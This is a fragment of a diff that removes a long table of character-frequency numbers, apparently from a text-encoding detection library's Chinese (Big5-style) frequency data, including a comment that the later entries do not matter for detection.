- 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864
-  72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880
-3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896
-3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912
-1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928
-1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944
-1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960
-1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976
- 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992
- 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008
-2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024
- 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040
-3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056
-2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072
- 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088
-1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104
-2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120
- 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136
-1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152
- 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168
-4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184
-2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200
-1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216
- 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232
-1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248
-2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264
- 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280
-6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296
-1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312
-1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328
-2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344
-3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360
- 914,2550,2587,  81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376
-3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392
-1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408
- 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424
-1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440
- 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456
-3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472
- 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488
-2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504
- 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520
-4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536
-2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552
-1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568
-1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584
-1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600
- 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616
-1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632
-3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648
-1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664
-3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680
- 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696
- 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712
- 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728
-2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744
-1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760
- 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776
-1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792
- 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808
-1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824
- 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840
- 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856
- 480,2083,1774,3458, 923,2279,1350, 221,3086,  85,2233,2234,3835,1585,3010,2147, # 3872
-1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888
-1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904
-2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920
-4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936
- 227,1351,1645,2453,2193,1421,2887, 812,2121, 634,  95,2435, 201,2312,4665,1646, # 3952
-1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968
- 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984
-1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000
-3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016
-1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032
-2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048
-2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064
-1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080
-1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096
-2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112
- 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128
-2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144
-1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160
-1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176
-1279,2136,1697,2335, 204, 721,2097,3838,  90,6186,2085,2505, 191,3967, 124,2148, # 4192
-1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208
-3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224
-2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240
-2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256
- 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272
-3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288
-3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304
-1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320
-2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336
-1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352
-2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368  #last 512
-#Everything below is of no interest for detection purpose
-2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384
-6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400
-6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416
-6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432
-6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448
-4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464
-4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480
-3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496
-3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512
-4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528
-3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544
-6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560
-4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576
-6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592
-6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608
-6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624
-6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640
-6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656
-6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672
-3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688
-3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704
-6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720
-2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736
-4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752
-4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768
-4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784
-6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800
-3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816
-4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832
-4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848
-6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864
-4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880
-6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896
-3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912
-2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928
-4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944
-2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960
-6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976
-4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992
-6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008
-6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024
-6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040
-4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056
-6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072
-2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088
-6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104
-4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120
-6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136
-4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152
-4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168
-6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184
-6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200
-6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216
-3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232
-1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248
-3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264
-3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280
-4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296
-6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312
-3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328
-6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344
-3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360
-3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376
-2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392
-6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408
-6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424
-3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440
-6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456
-3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472
-6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488
-6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504
-6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520
-4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536
-6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552
-4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568
-3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584
-3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600
-6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616
-6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632
-4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648
-6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664
-6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680
-6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696
-6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712
-6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728
-6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744
-4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760
-4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776
-3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792
-6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808
-4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824
-2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840
-6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856
-6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872
-4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888
-2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904
-4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920
-2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936
-4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952
-4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968
-4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984
-6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000
-3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016
-6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032
-3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048
-6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064
-2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080
-3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096
-7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112
-2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128
-3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144
-3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160
-3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176
-3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192
-7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208
-7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224
-7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240
-7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256
-7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272
-4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288
-3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304
-3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320
-4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336
-3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352
-3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368
-7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384
-4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400
-7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416
-7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432
-7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448
-7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464
-7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480
-4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496
-4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512
-7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528
-3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544
-4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560
-7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576
-7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592
-4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608
-3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624
-3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640
-7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656
-4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672
-4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688
-4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704
-4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720
-4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736
-4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752
-7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768
-7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784
-7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800
-7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816
-7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832
-2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848
-3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864
-7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880
-7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896
-3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912
-4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928
-3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944
-3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960
-2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976
-7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992
-7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008
-4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024
-3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040
-3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056
-7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072
-7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088
-7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104
-4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120
-7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136
-2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152
-3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168
-4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184
-7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200
-4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216
-4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232
-7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248
-7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264
-5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280
